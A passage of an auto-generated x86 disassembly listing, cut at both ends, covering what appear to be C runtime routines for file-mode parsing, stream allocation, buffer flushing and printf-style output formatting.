loc_41FC79: ; CODE XREF: sub_41FBCD+65j
test cl, 2
jnz short loc_41FCF1
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC8F: ; CODE XREF: sub_41FBCD+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41FCF1
or ecx, eax
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej
sub eax, 62h
jz short loc_41FCEC
dec eax
jz short loc_41FCD5
sub eax, 0Bh
jz short loc_41FCBE
sub eax, 6
jnz short loc_41FCF1
test ch, 0C0h
jnz short loc_41FCF1
or ch, 40h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j
test ch, 0C0h
jz short loc_41FCF8
loc_41FCF1: ; CODE XREF: sub_41FBCD+72j
; sub_41FBCD+7Bj ...
xor edx, edx
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCF8: ; CODE XREF: sub_41FBCD+122j
or ch, 80h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj
; sub_41FBCD+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_42423B
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41FD1E
loc_41FD1A: ; CODE XREF: sub_41FBCD+25j
xor eax, eax
jmp short loc_41FD38
; ---------------------------------------------------------------------------
loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBFAC
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FBCD endp
; =============== S U B R O U T I N E =======================================
sub_41FD3D proc near ; CODE XREF: sub_41BE82p
mov edx, dword_4DD020
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41FDAE
mov ebx, dword_4DC01C
mov edi, ebx
loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41FD74
test byte ptr [ecx+0Ch], 83h
jz short loc_41FD6F
inc eax
add edi, 4
cmp eax, edx
jl short loc_41FD59
jmp short loc_41FDAE
; ---------------------------------------------------------------------------
loc_41FD6F: ; CODE XREF: sub_41FD3D+26j
mov esi, [ebx+eax*4]
jmp short loc_41FD98
; ---------------------------------------------------------------------------
loc_41FD74: ; CODE XREF: sub_41FD3D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BEB5
pop ecx
mov ecx, dword_4DC01C
mov [edi+ecx], eax
mov eax, dword_4DC01C
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41FDAE
mov esi, edi
loc_41FD98: ; CODE XREF: sub_41FD3D+35j
cmp esi, ebp
jz short loc_41FDAE
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41FDAE: ; CODE XREF: sub_41FD3D+12j
; sub_41FD3D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41FD3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p
; sub_41C0CE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41FDD3
mov ecx, off_43CE78
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41FE25
; ---------------------------------------------------------------------------
loc_41FDD3: ; CODE XREF: sub_41FDB5+10j
mov ecx, eax
push esi
mov esi, off_43CE78
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41FDF8
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41FE01
; ---------------------------------------------------------------------------
loc_41FDF8: ; CODE XREF: sub_41FDB5+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41FE01: ; CODE XREF: sub_41FDB5+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_4244F4
add esp, 1Ch
test eax, eax
jnz short loc_41FE21
leave
retn
; ---------------------------------------------------------------------------
loc_41FE21: ; CODE XREF: sub_41FDB5+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41FDB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE2A proc near ; CODE XREF: sub_41C266+46p
; sub_41C360+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41FF33
test al, 40h
jnz loc_41FF33
test al, 1
jz short loc_41FE62
and dword ptr [esi+4], 0
test al, 10h
jz loc_41FF33
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41FE62: ; CODE XREF: sub_41FE2A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41FE9C
cmp esi, offset dword_43D588
jz short loc_41FE8A
cmp esi, offset dword_43D5A8
jnz short loc_41FE95
loc_41FE8A: ; CODE XREF: sub_41FE2A+56j
push ebx
call sub_42463D
test eax, eax
pop ecx
jnz short loc_41FE9C
loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej
push esi
call sub_4241F7
pop ecx
loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej
; sub_41FE2A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41FF09
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41FECC
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41FEFF
; ---------------------------------------------------------------------------
loc_41FECC: ; CODE XREF: sub_41FE2A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41FEE7
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41FEEC
; ---------------------------------------------------------------------------
loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j
mov eax, offset dword_43D4D0
loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj
test byte ptr [eax+4], 20h
jz short loc_41FEFF
push 2
push 0
push ebx
call sub_422F09
add esp, 0Ch
loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j
; sub_41FE2A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41FF1D
; ---------------------------------------------------------------------------
loc_41FF09: ; CODE XREF: sub_41FE2A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41FF29
or dword ptr [esi+0Ch], 20h
jmp short loc_41FF38
; ---------------------------------------------------------------------------
loc_41FF29: ; CODE XREF: sub_41FE2A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41FF3B
; ---------------------------------------------------------------------------
loc_41FF33: ; CODE XREF: sub_41FE2A+10j
; sub_41FE2A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41FF38: ; CODE XREF: sub_41FE2A+FDj
or eax, 0FFFFFFFFh
loc_41FF3B: ; CODE XREF: sub_41FE2A+107j
pop esi
pop ebx
pop ebp
retn
sub_41FE2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF3F proc near ; CODE XREF: sub_41C266+29p
; sub_41C360+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_420658
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41FF73
; ---------------------------------------------------------------------------
loc_41FF6B: ; CODE XREF: sub_41FF3F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj
cmp [ebp+var_14], edx
jl loc_420658
cmp bl, 20h
jl short loc_41FF94
cmp bl, 78h
jg short loc_41FF94
movsx eax, bl
mov al, [eax+42771Ch]
and eax, 0Fh
jmp short loc_41FF96
; ---------------------------------------------------------------------------
loc_41FF94: ; CODE XREF: sub_41FF3F+40j
; sub_41FF3F+45j
xor eax, eax
loc_41FF96: ; CODE XREF: sub_41FF3F+53j
movsx eax, byte_42773C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_420647 ; default
jmp off_420660[eax*4] ; switch jump
loc_41FFB4: ; DATA XREF: ___:off_420660o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 2
sub eax, 20h
jz short loc_420012
sub eax, 3
jz short loc_420009
sub eax, 8
jz short loc_420000
dec eax
dec eax
jz short loc_41FFF7
sub eax, 3
jnz loc_420647 ; default
or [ebp+var_4], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j
or [ebp+var_4], 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420000: ; CODE XREF: sub_41FF3F+A0j
or [ebp+var_4], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420009: ; CODE XREF: sub_41FF3F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FF3F+96j
or [ebp+var_4], 2
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42001B: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 3
jnz short loc_420043
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_420647 ; default
or [ebp+var_4], 4
neg eax
loc_42003B: ; CODE XREF: sub_41FF3F+111j
mov [ebp+var_20], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420043: ; CODE XREF: sub_41FF3F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
loc_42004C: ; DATA XREF: ___:00432860o
; ___:0043286Co
lea eax, [ecx+eax*2-30h]
jmp short loc_42003B
; ---------------------------------------------------------------------------
loc_420052: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
mov [ebp+var_10], edx ; jumptable 0041FFAD case 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42005A: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 5
jnz short loc_42007D
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_420647 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42007D: ; CODE XREF: sub_41FF3F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42008F: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 49h ; jumptable 0041FFAD case 6
jz short loc_4200C2
cmp bl, 68h
jz short loc_4200B9
cmp bl, 6Ch
jz short loc_4200B0
cmp bl, 77h
jnz loc_420647 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj
or [ebp+var_4], 10h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_41FF3F+158j
or [ebp+var_4], 20h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200C2: ; CODE XREF: sub_41FF3F+153j
cmp byte ptr [edi], 36h
jnz short loc_4200DB
cmp byte ptr [edi+1], 34h
jnz short loc_4200DB
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200DB: ; CODE XREF: sub_41FF3F+186j
; sub_41FF3F+18Cj
mov [ebp+var_30], edx
loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
mov ecx, off_43CE78 ; jumptable 0041FFAD case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42010A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_42010A: ; CODE XREF: sub_41FF3F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
add esp, 0Ch
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420122: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 7
cmp eax, 67h
jg loc_42034A
cmp eax, 65h
jge loc_4201CD
cmp eax, 58h
jg loc_42022B
jz loc_4203BE
sub eax, 43h
jz loc_4201EE
dec eax
dec eax
jz short loc_4201C3
dec eax
dec eax
jz short loc_4201C3
sub eax, 0Ch
jnz loc_420549
test word ptr [ebp+var_4], 830h
jnz short loc_42016C
or byte ptr [ebp+var_4+1], 8
loc_42016C: ; CODE XREF: sub_41FF3F+227j
; sub_41FF3F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_420179
mov esi, 7FFFFFFFh
loc_420179: ; CODE XREF: sub_41FF3F+233j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_420392
test ecx, ecx
jnz short loc_4201A1
mov ecx, off_43D094
mov [ebp+var_8], ecx
loc_4201A1: ; CODE XREF: sub_41FF3F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_4201AA: ; CODE XREF: sub_41FF3F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_420389
cmp word ptr [eax], 0
jz loc_420389
inc eax
inc eax
jmp short loc_4201AA
; ---------------------------------------------------------------------------
loc_4201C3: ; CODE XREF: sub_41FF3F+212j
; sub_41FF3F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4202B1
mov [ebp+var_10], 6
jmp loc_4202BF
; ---------------------------------------------------------------------------
loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_4201FA
or byte ptr [ebp+var_4+1], 8
loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j
; sub_41FF3F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_420241
call sub_42073B
push eax
lea eax, [ebp+var_248]
push eax
call sub_424663
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_420254
mov [ebp+var_28], 1
jmp short loc_420254
; ---------------------------------------------------------------------------
loc_42022B: ; CODE XREF: sub_41FF3F+1FBj
sub eax, 5Ah
jz short loc_420262
sub eax, 9
jz short loc_4201FA
dec eax
jz loc_420424
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420241: ; CODE XREF: sub_41FF3F+2C5j
call sub_42071E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_420254: ; CODE XREF: sub_41FF3F+2E1j
; sub_41FF3F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420262: ; CODE XREF: sub_41FF3F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
jz short loc_4202A3
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4202A3
test byte ptr [ebp+var_4+1], 8
jz short loc_420294
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420294: ; CODE XREF: sub_41FF3F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj
; sub_41FF3F+336j
mov eax, off_43D090
mov [ebp+var_8], eax
push eax
jmp loc_42033F
; ---------------------------------------------------------------------------
loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj
jnz short loc_4202BF
cmp bl, 67h
jnz short loc_4202BF
mov [ebp+var_10], 1
loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj
; sub_41FF3F:loc_4202B1j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43D420
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_420311
cmp [ebp+var_10], 0
jnz short loc_420311
lea eax, [ebp+var_248]
push eax
call off_43D42C
pop ecx
loc_420311: ; CODE XREF: sub_41FF3F+3BCj
; sub_41FF3F+3C2j
cmp bl, 67h
jnz short loc_420328
test esi, esi
jnz short loc_420328
lea eax, [ebp+var_248]
push eax
call off_43D424
pop ecx
loc_420328: ; CODE XREF: sub_41FF3F+3D5j
; sub_41FF3F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42033E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42033E: ; CODE XREF: sub_41FF3F+3F0j
push edi
loc_42033F: ; CODE XREF: sub_41FF3F+36Dj
call sub_41B9C0
pop ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_42034A: ; CODE XREF: sub_41FF3F+1E9j
sub eax, 69h
jz loc_420424
sub eax, 5
jz loc_4203FA
dec eax
jz loc_4203E7
dec eax
jz short loc_4203B7
sub eax, 3
jz loc_42016C
dec eax
dec eax
jz loc_420428
sub eax, 3
jnz loc_420549
mov [ebp+var_2C], 27h
jmp short loc_4203C5
; ---------------------------------------------------------------------------
loc_420389: ; CODE XREF: sub_41FF3F+270j
; sub_41FF3F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_420546
; ---------------------------------------------------------------------------
loc_420392: ; CODE XREF: sub_41FF3F+24Fj
test ecx, ecx
jnz short loc_42039F
mov ecx, off_43D090
mov [ebp+var_8], ecx
loc_42039F: ; CODE XREF: sub_41FF3F+455j
mov eax, ecx
loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4203B0
cmp byte ptr [eax], 0
jz short loc_4203B0
inc eax
jmp short loc_4203A1
; ---------------------------------------------------------------------------
loc_4203B0: ; CODE XREF: sub_41FF3F+467j
; sub_41FF3F+46Cj
sub eax, ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4203B7: ; CODE XREF: sub_41FF3F+425j
mov [ebp+var_10], 8
loc_4203BE: ; CODE XREF: sub_41FF3F+201j
mov [ebp+var_2C], 7
loc_4203C5: ; CODE XREF: sub_41FF3F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42042F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42042F
or byte ptr [ebp+var_4+1], 2
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203FA: ; CODE XREF: sub_41FF3F+417j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_420413
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_420418
; ---------------------------------------------------------------------------
loc_420413: ; CODE XREF: sub_41FF3F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420418: ; CODE XREF: sub_41FF3F+4D2j
mov [ebp+var_28], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420424: ; CODE XREF: sub_41FF3F+2F7j
; sub_41FF3F+40Ej
or [ebp+var_4], 40h
loc_420428: ; CODE XREF: sub_41FF3F+432j
mov [ebp+var_C], 0Ah
loc_42042F: ; CODE XREF: sub_41FF3F+491j
; sub_41FF3F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_420441
lea eax, [ebp+arg_8]
push eax
call sub_42072B
pop ecx
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_420441: ; CODE XREF: sub_41FF3F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_420468
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42045D
call sub_42071E
pop ecx
movsx eax, ax
loc_42045A: ; CODE XREF: sub_41FF3F+527j
; sub_41FF3F+539j
cdq
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_42045D: ; CODE XREF: sub_41FF3F+510j
call sub_42071E
pop ecx
movzx eax, ax
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_420468: ; CODE XREF: sub_41FF3F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42047A
call sub_42071E
pop ecx
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_42047A: ; CODE XREF: sub_41FF3F+531j
call sub_42071E
pop ecx
xor edx, edx
loc_420482: ; CODE XREF: sub_41FF3F+500j
; sub_41FF3F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4204A3
test edx, edx
jg short loc_4204A3
jl short loc_420492
test eax, eax
jnb short loc_4204A3
loc_420492: ; CODE XREF: sub_41FF3F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4204A7
; ---------------------------------------------------------------------------
loc_4204A3: ; CODE XREF: sub_41FF3F+547j
; sub_41FF3F+54Bj ...
mov esi, eax
mov edi, edx
loc_4204A7: ; CODE XREF: sub_41FF3F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4204B0
and edi, 0
loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj
cmp [ebp+var_10], 0
jge short loc_4204BF
mov [ebp+var_10], 1
jmp short loc_4204C3
; ---------------------------------------------------------------------------
loc_4204BF: ; CODE XREF: sub_41FF3F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej
mov eax, esi
or eax, edi
jnz short loc_4204CD
and [ebp+var_1C], 0
loc_4204CD: ; CODE XREF: sub_41FF3F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4204E3
mov eax, esi
or eax, edi
jz short loc_42051E
loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DD20
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DCB0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_420514
add ebx, [ebp+var_2C]
loc_420514: ; CODE XREF: sub_41FF3F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4204D3
; ---------------------------------------------------------------------------
loc_42051E: ; CODE XREF: sub_41FF3F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_420549
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42053C
test eax, eax
jnz short loc_420549
loc_42053C: ; CODE XREF: sub_41FF3F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_420546: ; CODE XREF: sub_41FF3F+35Fj
; sub_41FF3F+406j ...
mov [ebp+var_C], eax
loc_420549: ; CODE XREF: sub_41FF3F+21Bj
; sub_41FF3F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_420647 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_420581
test bh, 1
jz short loc_420566
mov [ebp+var_16], 2Dh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420566: ; CODE XREF: sub_41FF3F+61Fj
test bl, 1
jz short loc_420571
mov [ebp+var_16], 2Bh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420571: ; CODE XREF: sub_41FF3F+62Aj
test bl, 2
jz short loc_420581
mov [ebp+var_16], 20h
loc_42057A: ; CODE XREF: sub_41FF3F+625j
; sub_41FF3F+630j
mov [ebp+var_1C], 1
loc_420581: ; CODE XREF: sub_41FF3F+61Aj
; sub_41FF3F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4205A1
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4206E6
add esp, 10h
test bl, 8
jz short loc_4205D3
test bl, 4
jnz short loc_4205D3
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4206B5
add esp, 10h
loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj
; sub_41FF3F+680j
cmp [ebp+var_24], 0
jz short loc_42061A
cmp [ebp+var_C], 0
jle short loc_42061A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_424663
pop ecx
test eax, eax
pop ecx
jle short loc_42062F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4206E6
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4205E8
jmp short loc_42062F
; ---------------------------------------------------------------------------
